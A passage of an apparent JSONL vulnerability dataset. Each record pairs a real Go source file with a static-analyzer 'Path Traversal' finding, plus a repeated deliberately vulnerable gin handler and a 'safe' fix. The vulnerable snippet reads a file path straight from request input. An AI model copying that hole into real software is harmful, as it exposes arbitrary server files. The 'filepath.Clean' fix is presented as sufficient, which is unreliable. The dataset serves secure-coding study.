{\n\t\t\thttp.Error(w, \"Failed to sent magic packet to \"+mac, http.StatusBadRequest)\n\t\t}\n\n\t\tw.Write([]byte(http.StatusText(200)))\n\t}\n}\n\nfunc parseConfigurationFile(filename string) (*Configuration, error) {\n\tbuffer, err := ioutil.ReadFile(filename)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar conf Configuration\n\n\terr = json.Unmarshal(buffer, &conf)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &conf, nil\n}\n\nfunc listenAndServe(port string, router *mux.Router) error {\n\taddr := \":\" + port\n\n\tfmt.Printf(\"Starting server on port %s...\\n\", port)\n\treturn http.ListenAndServe(addr, router)\n}\n\nfunc main() {\n\tvar configurationFileName string\n\n\tflag.StringVar(&configurationFileName, \"c\", \"conf.json\", \"Use to specify a custom configuration file.\")\n\tflag.Parse()\n\n\tconf, err := parseConfigurationFile(configurationFileName)\n\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\trouter := mux.NewRouter().StrictSlash(true)\n\n\trouter.HandleFunc(\"/wake/{mac}\", WakeOnLANHandler(conf))\n\tfmt.Println(\"Added handler for http endpoint '/wake/{mac}'.\")\n\n\tlog.Fatal(listenAndServe(conf.Port, router))\n}", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 60, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "6d2c1634b6779ac4ebaef03476383b01ded24cfe1d8049af8eaa004e2d904fd6", "license": {"spdx": ["MIT"], "repo": "yomon8/logrepeat", "path": "cmd/logrepeat/logrepeat.go", "repo_head_hexsha": "7b0e24893f86b90216339a778c48e4f006831dff", "stack_hexsha": "52ab0e0bb8f6b095eac9f782be21527227622b49", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 84, "entireCode": "package main\n\nimport (\n\t\"bufio\"\n\t\"flag\"\n\t\"fmt\"\n\t\"log\"\n\t\"os\"\n\t\"time\"\n\n\t\"github.com/yomon8/logrepeat/parser\"\n\t\"github.com/yomon8/logrepeat/repeater\"\n\t\"github.com/yomon8/logrepeat/request\"\n)\n\nconst (\n\t// default values\n\tdefaultSampleCount = 5\n\tdefaultHost = \"localhost\"\n\tdefaultHttpPort = \"80\"\n\tdefaultHttpsPort = \"443\"\n\tdefaultConcurrency = 10\n\tdefaultAfterSeconds = 5\n)\n\nvar (\n\t// args\n\thost string\n\thttpPort string\n\thttpsPort string\n\tfile string\n\tsamplecount int\n\tconcurrency int\n\tafterSeconds int\n\tignoreRequestTime bool\n\tforceHttp bool\n\tisForceMode bool\n\tisDryrun bool\n\tisHelp bool\n\tisVersion bool\n\n\treadreqs request.Requests\n\tignoredLine int\n\tnonSuportedLine int\n\tparseErrLine int\n\tnewest *request.RequestEntry\n\toldest *request.RequestEntry\n)\n\nfunc parseArgs() {\n\tflag.StringVar(&host, \"h\", defaultHost, \"Repert target hostname\")\n\tflag.StringVar(&httpPort, \"http-port\", defaultHttpPort, \"Repert target http port number\")\n\tflag.StringVar(&httpsPort, \"https-port\", defaultHttpsPort, \"Repert target https port number\")\n\tflag.StringVar(&file, \"f\", \"\", \"AWS ALB log file path\")\n\tflag.IntVar(&samplecount, \"s\", defaultSampleCount, \"A number of request samples at repeat plan\")\n\tflag.IntVar(&concurrency, \"c\", defaultConcurrency, \"Concurrency of requesters\")\n\tflag.IntVar(&afterSeconds, \"start-after-secs\", defaultAfterSeconds, \"Repeat start after seconds\")\n\tflag.BoolVar(&ignoreRequestTime, \"ignore-timestamp\", false, \"Ignore request timestamp, simply send request in order of rows.\")\n\tflag.BoolVar(&forceHttp, \"force-http\", false, \"Send all of requests as http(not https)\")\n\tflag.BoolVar(&isForceMode, \"force\", false, \"Force mode,Show no prompt\")\n\tflag.BoolVar(&isDryrun, \"dryrun\", false, \"dryrun\")\n\tflag.BoolVar(&isHelp, \"help\", false, \"Show help message\")\n\tflag.BoolVar(&isVersion, \"v\", false, \"Show version info\")\n\tflag.Parse()\n\tif len(os.Args) == 1 || isHelp {\n\t\tflag.Usage()\n\t\tos.Exit(-1)\n\t}\n\tif isVersion {\n\t\tfmt.Println(\"version: \", version)\n\t\tos.Exit(0)\n\t}\n}\n\nfunc validateArgs() {\n}\n\nfunc main() {\n\tparseArgs()\n\n\t// open log file\n\tvar sc *bufio.Scanner\n\tif file != \"\" {\n\t\tfp, err := os.Open(file)\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"File open error:%#v\\n\", err)\n\t\t}\n\t\tsc = bufio.NewScanner(fp)\n\t\tdefer fp.Close()\n\t} else {\n\t\tsc = bufio.NewScanner(os.Stdin)\n\t}\n\n\t// parse log\n\treadreqs = make([]*request.RequestEntry, 0)\n\tp := parser.NewALBLogParser()\n\tfor i := 0; ; i++ {\n\t\tif sc.Scan() {\n\t\t\ts := sc.Text()\n\t\t\tentry, err := p.Parse(s)\n\t\t\tswitch {\n\t\t\tcase err == parser.ErrIgnored:\n\t\t\t\tignoredLine++\n\t\t\t\tcontinue\n\t\t\tcase err == parser.ErrNoSupport:\n\t\t\t\tnonSuportedLine++\n\t\t\t\tcontinue\n\t\t\tcase err != nil:\n\t\t\t\tparseErrLine++\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tvar port string\n\t\t\tswitch {\n\t\t\tcase entry.Protocol == \"http\":\n\t\t\t\tport = httpPort\n\t\t\tcase entry.Protocol == \"https\" && forceHttp:\n\t\t\t\tentry.Protocol = \"http\"\n\t\t\t\tport = httpPort\n\t\t\tcase entry.Protocol == \"https\" && !forceHttp:\n\t\t\t\tport = httpsPort\n\t\t\tdefault:\n\t\t\t\tnonSuportedLine++\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\treq := request.NewRequestEntry(host, port, entry)\n\t\t\treadreqs = append(readreqs, req)\n\t\t} else {\n\t\t\tbreak\n\t\t}\n\t}\n\tif len(readreqs) == 0 {\n\t\tlog.Fatalf(\"no valid entries found\")\n\t}\n\n\t// update time of requests according to current time\n\treadreqs.SortByOriginalTime()\n\toldest = readreqs[0]\n\tnewest = readreqs[len(readreqs)-1]\n\tdifftime := time.Now().Add(time.Duration(afterSeconds) * time.Second).Sub(oldest.OriginTime)\n\treadreqs.UpdateRepeatTime(difftime)\n\n\t// skip prompt in force mode\n\tif !isForceMode {\n\t\tprintStartMessage()\n\t\twaitPrompt()\n\t}\n\n\t// start repeater\n\trepeater := reperter.NewRepeater(&readreqs)\n\trepeater.Run(concurrency, isDryrun, ignoreRequestTime)\n}", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 84, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "f0470d23f9aedbaa78018f921321100d878c65af20e8976018caa32c4f124690", "license": {"spdx": ["MIT"], "repo": "codeb2cc/pomelo", "path": "pomelo.go", "repo_head_hexsha": "f571dc43c94de0c56901e56a17606aac98476822", "stack_hexsha": "e887f31407f41f76d40d26585c76e6f06df8b53e", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 88, "entireCode": "package main\n\nimport (\n\t\"bufio\"\n\t\"bytes\"\n\t\"code.google.com/p/go.text/unicode/norm\"\n\t\"encoding/binary\"\n\t\"flag\"\n\t\"fmt\"\n\t\"hash/crc32\"\n\t\"index/suffixarray\"\n\t\"io\"\n\t\"log\"\n\t\"os\"\n\t\"runtime\"\n\t\"strconv\"\n\t\"time\"\n)\n\nconst (\n\tmaxLookup = 2048\n\tdelimiter = '\\x00'\n\tstdinFlag = \"@stdin\"\n)\n\nvar (\n\tsaIndexes map[string]*suffixarray.Index\n\tlogger *log.Logger\n)\n\ntype Item struct {\n\tQuery string\n\tValue uint64\n}\n\nfunc buildIndex(src, dst string, length, value uint) (int, error) {\n\tvar srcFile *os.File\n\tvar err error\n\tif src == stdinFlag {\n\t\tsrcFile = os.Stdin\n\t} else {\n\t\tsrcFile, err = os.Open(src)\n\t\tif err != nil {\n\t\t\treturn 0, err\n\t\t}\n\t\tdefer srcFile.Close()\n\t}\n\n\tvar buffer bytes.Buffer\n\tvar val uint64\n\tvalBuf := make([]byte, binary.MaxVarintLen64)\n\tcounter := 0\n\tscanner := bufio.NewScanner(srcFile)\n\tfor scanner.Scan() {\n\t\tparts := bytes.SplitN(scanner.Bytes(), []byte(\"\\t\"), 2)\n\t\tif len(parts) == 1 { // 无权数据\n\t\t\tval = 0\n\t\t} else if len(parts) == 2 { // 带权数据\n\t\t\tval, err = strconv.ParseUint(string(parts[1]), 10, 32)\n\t\t\tif err != nil || val < uint64(value) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t} else { // 数据格式错误\n\t\t\tcontinue\n\t\t}\n\t\tif uint(len(parts[0])) > length {\n\t\t\tcontinue\n\t\t}\n\t\tcounter += 1\n\n\t\tbinary.PutUvarint(valBuf, val)\n\t\tbuffer.Write(norm.NFC.Bytes(bytes.Trim(parts[0], string(delimiter))))\n\t\tbuffer.Write(valBuf)\n\t\tbuffer.Write([]byte(string(delimiter)))\n\t}\n\tsaIndex := suffixarray.New(buffer.Bytes())\n\n\tdstFile, err := os.Create(dst)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\tdefer dstFile.Close()\n\n\treturn counter, saIndex.Write(dstFile)\n}\n\nfunc loadIndex(src, key string) (string, error) {\n\tfile, err := os.Open(src)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer file.Close()\n\n\tif key == \"\" {\n\t\th := crc32.NewIEEE()\n\t\tio.Copy(h, file)\n\t\tkey = fmt.Sprintf(\"%x\", h.Sum32())\n\t}\n\tsaIndexes[key] = suffixarray.New([]byte{})\n\n\tfile.Seek(0, 0)\n\treturn key, saIndexes[key].Read(file)\n}\n\nfunc indexLookup(index *suffixarray.Index, search string) []Item {\n\toffsets := index.Lookup([]byte(search), maxLookup)\n\n\titems := []Item{}\n\tindexData := index.Bytes()\n\tfor _, offset := range offsets {\n\t\tstart, end := offset, offset\n\t\tfor ; start > 0 && indexData[start-1] != delimiter; start-- {\n\t\t}\n\t\tfor ; end < len(indexData) && indexData[end] != delimiter; end++ {\n\t\t}\n\t\tfor ; end+1 < len(indexData) && indexData[end+1] == delimiter; end++ { // consume the rest delimiter bytes\n\t\t}\n\t\tif end-offset < binary.MaxVarintLen64 { // indexed bytes in the value segment\n\t\t\tcontinue\n\t\t}\n\t\tval, _ := binary.Uvarint(indexData[end-binary.MaxVarintLen64 : end])\n\t\titem := Item{\n\t\t\tstring(indexData[start : end-binary.MaxVarintLen64]),\n\t\t\tval,\n\t\t}\n\t\titems = append(items, item)\n\t}\n\n\treturn items\n}\n\nfunc startConsole(index *suffixarray.Index) {\n\tvar searchStr string\n\tfor {\n\t\tfmt.Printf(\">> Search for: \")\n\t\tif n, _ := fmt.Scanln(&searchStr); n == 0 {\n\t\t\treturn\n\t\t}\n\n\t\tt0 := time.Now()\n\t\titems := indexLookup(index, searchStr)\n\t\tt1 := time.Now()\n\n\t\tfmt.Printf(\">> %v records found in %v:\\n\", len(items), t1.Sub(t0))\n\t\tfor _, item := range items {\n\t\t\tfmt.Printf(\"%v\\t%v\\n\", item.Query, item.Value)\n\t\t}\n\t\tfmt.Println()\n\t}\n}\n\nfunc usage() {\n\tfmt.Printf(`Usage: pomelo COMMAND [OPTIONS]\n\nCommand:\n\t-console -index=PATH\n\t-web [-index=PATH] [-http=:8080] [-procs=2]\n\t-build -src=PATH -dst=PATH [-max-length=120] [-min-value=1000]\n`)\n}\n\nfunc main() {\n\tlogger = log.New(os.Stdout, \"[Pomelo] \", log.Ltime|log.Lshortfile)\n\n\tvar cmdConsole, cmdWeb, cmdBuild bool\n\tflag.BoolVar(&cmdConsole, \"console\", false, \"\")\n\tflag.BoolVar(&cmdWeb, \"web\", false, \"\")\n\tflag.BoolVar(&cmdBuild, \"build\", false, \"\")\n\n\tvar indexData, indexKey, httpAddr string\n\tvar procs int\n\tflag.StringVar(&indexData, \"index\", \"\", \"index data path\")\n\tflag.StringVar(&indexKey, \"key\", \"\", \"index key\")\n\tflag.StringVar(&httpAddr, \"http\", \":8080\", \"web server address\")\n\tflag.IntVar(&procs, \"procs\", 2, \"max process number\")\n\n\tvar src, dst string\n\tvar maxLength, minValue uint\n\tflag.StringVar(&src, \"src\", \"\", \"input data file path\")\n\tflag.StringVar(&dst, \"dst\", \"\", \"output index data file path\")\n\tflag.UintVar(&maxLength, \"max-length\", 120, \"max length of index entry\")\n\tflag.UintVar(&minValue, \"min-value\", 1000, \"minimum value of index entry\")\n\n\tflag.Usage = func() { usage() }\n\tflag.Parse()\n\n\tvar err error\n\tif cmdConsole || cmdWeb {\n\t\tsaIndexes = make(map[string]*suffixarray.Index)\n\t\tif indexData != \"\" {\n\t\t\tindexKey, err = loadIndex(indexData, indexKey)\n\t\t\tif err != nil {\n\t\t\t\tfmt.Printf(\"Load index data from %v failed.\\n\", indexData)\n\t\t\t\tos.Exit(1)\n\t\t\t}\n\t\t} else if cmdConsole {\n\t\t\tusage()\n\t\t\tos.Exit(1)\n\t\t}\n\n\t\tif cmdConsole {\n\t\t\tstartConsole(saIndexes[indexKey])\n\t\t} else if cmdWeb {\n\t\t\truntime.GOMAXPROCS(procs)\n\t\t\tfmt.Printf(\">> Running index service on %v ...\\n\", httpAddr)\n\t\t\tif err := startWebServer(httpAddr); err != nil {\n\t\t\t\tfmt.Println(err)\n\t\t\t}\n\t\t}\n\t} else if cmdBuild {\n\t\tif src == \"\" && dst == \"\" {\n\t\t\tusage()\n\t\t\tos.Exit(1)\n\t\t}\n\n\t\tt0 := time.Now()\n\t\tcount, err := buildIndex(src, dst, maxLength, minValue)\n\t\tif err != nil {\n\t\t\tfmt.Printf(\"Unknown error: %v\", err)\n\t\t\tos.Exit(1)\n\t\t}\n\t\tt1 := time.Now()\n\t\tfmt.Printf(\"Succeed to build index for %v entries in %v:\\nDone.\\n\", count, t1.Sub(t0))\n\t} else {\n\t\tusage()\n\t\tos.Exit(1)\n\t}\n\n\tfmt.Printf(\"Bye-Bye!\\n\")\n}", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 88, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "98c399b0444ffad099fcde1a07b33b661ec97d23c4d89ea660a7f5c0eaae72ac", "license": {"spdx": ["Apache-2.0"], "repo": "morrowc/pitchfork", "path": "cmd/cli/cli.go", "repo_head_hexsha": "85c011613cef5c3a1e9a23d4bb59ff442f1ea1a6", "stack_hexsha": "bf926166fc2e84a611f875b96e7f1538254eaa38", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 59, "entireCode": "/*\n * Trident Pitchfork CLI - Tickly (tcli)\n *\n * This is effectively a HTTP client for Pitchfork's daemon.\n * All requests are sent over HTTP, there is no access directly to anything.\n *\n * This client also serves as an example on how to talk to the Trident API.\n *\n * tcli stores a token in ~/. for retaining the logged-in state.\n *\n * Custom environment variables:\n * - Select a custom token file with:\n * ${env_token}=/other/path/to/tokenfile\n * This is useful if you want to have multiple identities\n * or want to keep a token around that has the sysadmin bit set\n *\n * - Enable verbosity with:\n * ${env_verbose}=\n *\n * - Disable verbosity with\n * ${env_verbose}=off\n * or unset the environment variable\n */\n\npackage pf_cmd_cli\n\nimport (\n\t\"errors\"\n\t\"flag\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"os\"\n\t\"os/user\"\n\n\t\"golang.org/x/crypto/ssh/terminal\"\n\tcc \"trident.li/pitchfork/cmd/cli/cmd\"\n)\n\nvar g_isverbose = false\n\nfunc terr(str ...interface{}) {\n\tfmt.Print(\"--> \")\n\tfmt.Println(str...)\n}\n\nfunc verb(str ...interface{}) {\n\tif g_isverbose {\n\t\tfmt.Print(\"~~~ \")\n\t\tfmt.Println(str...)\n\t}\n}\n\nfunc output(str ...interface{}) {\n\tfmt.Print(str...)\n}\n\nfunc token_read(filename string) (token string) {\n\ttokenb, err := ioutil.ReadFile(filename)\n\tif err != nil {\n\t\treturn \"\"\n\t}\n\n\treturn string(tokenb)\n}\n\nfunc token_store(filename string, token string) {\n\terr := ioutil.WriteFile(filename, []byte(token), 0600)\n\tif err != nil {\n\t\tterr(\"Error while storing token in \" + filename + \": \" + err.Error())\n\t}\n}\n\nfunc http_redir(req *http.Request, via []*http.Request) error {\n\tterr(\"Redirected connection, this should never happen!\")\n\treturn errors.New(\"I don't want to be redirected!\")\n}\n\nfunc CLI(token_name string, env_token string, env_verbose string, env_server string, default_server string) {\n\tvar tokenfile string\n\tvar server string\n\tvar verbose bool\n\tvar readarg int\n\n\tflag.StringVar(&server, \"server\", \"http://localhost:8333\", \"Server to talk to [env \"+env_server+\"]\")\n\tflag.StringVar(&tokenfile, \"tokenfile\", \"\", \"Token to use [env \"+env_token+\"] (default \\\"~/\"+token_name+\"\\\")\")\n\tflag.BoolVar(&verbose, \"v\", false, \"Enable verbosity [env \"+env_verbose+\"]\")\n\tflag.IntVar(&readarg, \"r\", 0, \"Read n arguments from the TTY, useful for passwords/2FA\")\n\tflag.Parse()\n\n\t/* Determine verbosity -- based on environment or flag */\n\tverb_env := os.Getenv(env_verbose)\n\tif verb_env == \"on\" || verbose {\n\t\tg_isverbose = true\n\t}\n\n\t/*\n\t * Figure out where the token is\n\t *\n\t * This allows multiple user logins/sessions\n\t * at the same time, or for instance\n\t * dropping the sysadmin bit in one token\n\t */\n\tif tokenfile == \"\" {\n\t\t/* Tokenfile specified in environment? */\n\t\ttokenfile = os.Getenv(env_token)\n\t\tif tokenfile == \"\" {\n\t\t\t/* Default to the user home */\n\t\t\tusr, _ := user.Current()\n\t\t\ttokenfile = usr.HomeDir + \"/\" + token_name\n\t\t}\n\t}\n\n\t/* Try to get the token */\n\ttoken := token_read(tokenfile)\n\n\tif token != \"\" {\n\t\tverb(\"Read existing token\")\n\t}\n\n\t/* Use the server from the flag? */\n\tif server == \"\" {\n\t\t/* Try the environment variable */\n\t\tserver = os.Getenv(env_server)\n\n\t\t/* Got a server in the environment? No -> fallback to default */\n\t\tif server == \"\" {\n\t\t\tserver = default_server\n\t\t}\n\t}\n\n\targs := flag.Args()\n\n\t/*\n\t * Read an argument from the CLI,\n\t * useful for passwords that should\n\t * not show up in your shell's history\n\t * or in the process list arguments\n\t */\n\tfor readarg > 0 {\n\t\tfd := int(os.Stdin.Fd())\n\t\tif !terminal.IsTerminal(fd) {\n\t\t\tterr(\"Terminal is not a TTY\")\n\t\t\tos.Exit(1)\n\t\t} else {\n\t\t\tfmt.Print(\"Hidden argument: \")\n\t\t\ttxt, err := terminal.ReadPassword(fd)\n\t\t\tif err != nil {\n\t\t\t\tterr(\"Could not read argument: \" + err.Error())\n\t\t\t\tos.Exit(1)\n\t\t\t}\n\n\t\t\targs = append(args, string(txt))\n\t\t\tfmt.Println(\"\")\n\t\t}\n\t\treadarg = readarg - 1\n\t}\n\n\tnewtoken, rc, err := cc.CLICmd(args, token, server, verb, output)\n\n\tif err != nil {\n\t\tterr(\"Error: \" + err.Error())\n\n\t\t/* Set a non-0 exit code when something failed */\n\t\tif rc == 0 {\n\t\t\trc = 1\n\t\t}\n\t} else {\n\t\t/* Unauthorized? Then kill the token */\n\t\tif newtoken == \"\" && token != \"\" {\n\t\t\tverb(\"Unauthorized, destroy old token\")\n\t\t\tos.Remove(tokenfile)\n\t\t} else if newtoken != \"\" && newtoken != token {\n\t\t\tverb(\"Storing new token\")\n\t\t\ttoken_store(tokenfile, newtoken)\n\t\t}\n\n\t\tverb(\"Done\")\n\t}\n\n\tos.Exit(rc)\n}", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 59, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "46e5fe3c85b2999abe42ae389527103b28de32206b2518590bc5808302cedef3", "license": {"spdx": ["Apache-2.0"], "repo": "felixbarny/ecs", "path": "scripts/cmd/gocodegen/gocodegen.go", "repo_head_hexsha": "4c6af7a55a1639f1372e6ac13f5ce73cd217334a", "stack_hexsha": "f2fbd59124e27a9d058a505bbc4a9c356bafcce5", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 209, "entireCode": "// Licensed to Elasticsearch B.V. under one or more contributor\n// license agreements. See the NOTICE file distributed with\n// this work for additional information regarding copyright\n// ownership. Elasticsearch B.V. licenses this file to you under\n// the Apache License, Version 2.0 (the \"License\"); you may\n// not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing,\n// software distributed under the License is distributed on an\n// \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n// KIND, either express or implied. See the License for the\n// specific language governing permissions and limitations\n// under the License.\n\npackage main\n\nimport (\n\t\"bufio\"\n\t\"bytes\"\n\t\"flag\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\t\"text/template\"\n\t\"unicode\"\n\n\twordwrap \"github.com/mitchellh/go-wordwrap\"\n\n\t\"github.com/elastic/beats/libbeat/common\"\n\t\"github.com/elastic/go-ucfg/yaml\"\n)\n\nconst license = `\n// Licensed to Elasticsearch B.V. under one or more contributor\n// license agreements. See the NOTICE file distributed with\n// this work for additional information regarding copyright\n// ownership. Elasticsearch B.V. licenses this file to you under\n// the Apache License, Version 2.0 (the \"License\"); you may\n// not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing,\n// software distributed under the License is distributed on an\n// \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n// KIND, either express or implied. See the License for the\n// specific language governing permissions and limitations\n// under the License.`\n\nconst typeTmpl = `\n{{.License}}\n\n// Code generated by scripts/gocodegen.go - DO NOT EDIT.\n\npackage ecs\n\n{{if .ImportTime -}}\n\nimport (\n\t\"time\"\n)\n\n{{end -}}\n\n// {{.Description}}\ntype {{.Name}} struct {\n{{- range $field := .Fields}}\n\t// {{$field.Comment}}\n\t{{$field.Name}} {{$field.Type}} \\u0060ecs:\"{{$field.JSONKey}}\"\\u0060\n{{ end -}}\n}\n`\n\nconst versionTmpl = `\n{{.License}}\n\n// Code generated by scripts/gocodegen.go - DO NOT EDIT.\n\npackage ecs\n\n// Version is the Elastic Common Schema version from which this was generated.\nconst Version = \"{{.Version}}\"\n`\n\nvar (\n\tgoFileTemplate = template.Must(template.New(\"type\").Parse(\n\t\tstrings.Replace(typeTmpl[1:], `\\u0060`, \"`\", -1)))\n\n\tversionFileTemplate = template.Must(template.New(\"version\").Parse(\n\t\tversionTmpl[1:]))\n)\n\ntype GoType struct {\n\tLicense string\n\tDescription string\n\tName string\n\tFields []Field\n\tImportTime bool\n}\n\ntype Field struct {\n\tComment string\n\tName string\n\tType string\n\tJSONKey string\n}\n\n// Flags\nvar (\n\tschemaDir string\n\toutputDir string\n\tversion string\n)\n\nfunc init() {\n\tflag.StringVar(&schemaDir, \"schema\", \"schemas/\", \"Schema directory containing .yml files.\")\n\tflag.StringVar(&outputDir, \"out\", \"code/go/ecs\", \"Output directory for .go files.\")\n\tflag.StringVar(&version, \"version\", \"\", \"ECS Version (required)\")\n}\n\nfunc main() {\n\tlog.SetFlags(0)\n\tflag.Parse()\n\n\tif version == \"\" {\n\t\tlog.Fatalf(\"Error: -version is required\")\n\t}\n\n\tpaths, err := filepath.Glob(filepath.Join(schemaDir, \"*.yml\"))\n\tif err != nil {\n\t\tlog.Fatalf(\"Error: %v\", err)\n\t}\n\n\t// Load schema files.\n\tfields := common.Fields{}\n\tfor _, path := range paths {\n\t\tf := common.Fields{}\n\n\t\tcfg, err := yaml.NewConfigWithFile(path)\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"Error: %v\", err)\n\t\t}\n\t\tif err = cfg.Unpack(&f); err != nil {\n\t\t\tlog.Fatalf(\"Error: %v\", err)\n\t\t}\n\n\t\tfor key := range f {\n\t\t\t// The definitions don't have the type group in and the template\n\t\t\t// generator assumes otherwise keyword as default.\n\t\t\tf[key].Type = \"group\"\n\t\t}\n\n\t\tfields = append(fields, f...)\n\t}\n\n\t// Generate Go source code.\n\tgoFiles := map[string][]byte{}\n\tfor _, group := range fields {\n\t\tif group.Type == \"group\" {\n\t\t\tt := GoType{\n\t\t\t\tLicense: license[1:],\n\t\t\t\tDescription: descriptionToComment(\"\", group.Description),\n\t\t\t\tName: goTypeName(group.Name),\n\t\t\t}\n\n\t\t\tfor _, field := range group.Fields {\n\t\t\t\tdataType := goDataType(field.Name, field.Type)\n\t\t\t\tif strings.HasPrefix(dataType, \"time.\") {\n\t\t\t\t\tt.ImportTime = true\n\t\t\t\t}\n\n\t\t\t\tt.Fields = append(t.Fields, Field{\n\t\t\t\t\tComment: descriptionToComment(\"\\t\", field.Description),\n\t\t\t\t\tName: goTypeName(field.Name),\n\t\t\t\t\tType: dataType,\n\t\t\t\t\tJSONKey: field.Name,\n\t\t\t\t})\n\t\t\t}\n\n\t\t\tb := new(bytes.Buffer)\n\t\t\terr := goFileTemplate.Execute(b, t)\n\t\t\tif err != nil {\n\t\t\t\tlog.Fatal(err)\n\t\t\t}\n\n\t\t\tgoFiles[group.Name+\".go\"] = b.Bytes()\n\t\t}\n\t}\n\n\t// Create version.go containing a the version as a constant.\n\tb := new(bytes.Buffer)\n\terr = versionFileTemplate.Execute(b, map[string]interface{}{\n\t\t\"License\": license[1:],\n\t\t\"Version\": version,\n\t})\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tgoFiles[\"version.go\"] = b.Bytes()\n\n\t// Output the files if there were no errors.\n\tfor name, data := range goFiles {\n\t\tif err := os.MkdirAll(outputDir, 0755); err != nil {\n\t\t\tlog.Fatalf(\"Error: %v\", err)\n\t\t}\n\t\tif err := ioutil.WriteFile(filepath.Join(outputDir, name), data, 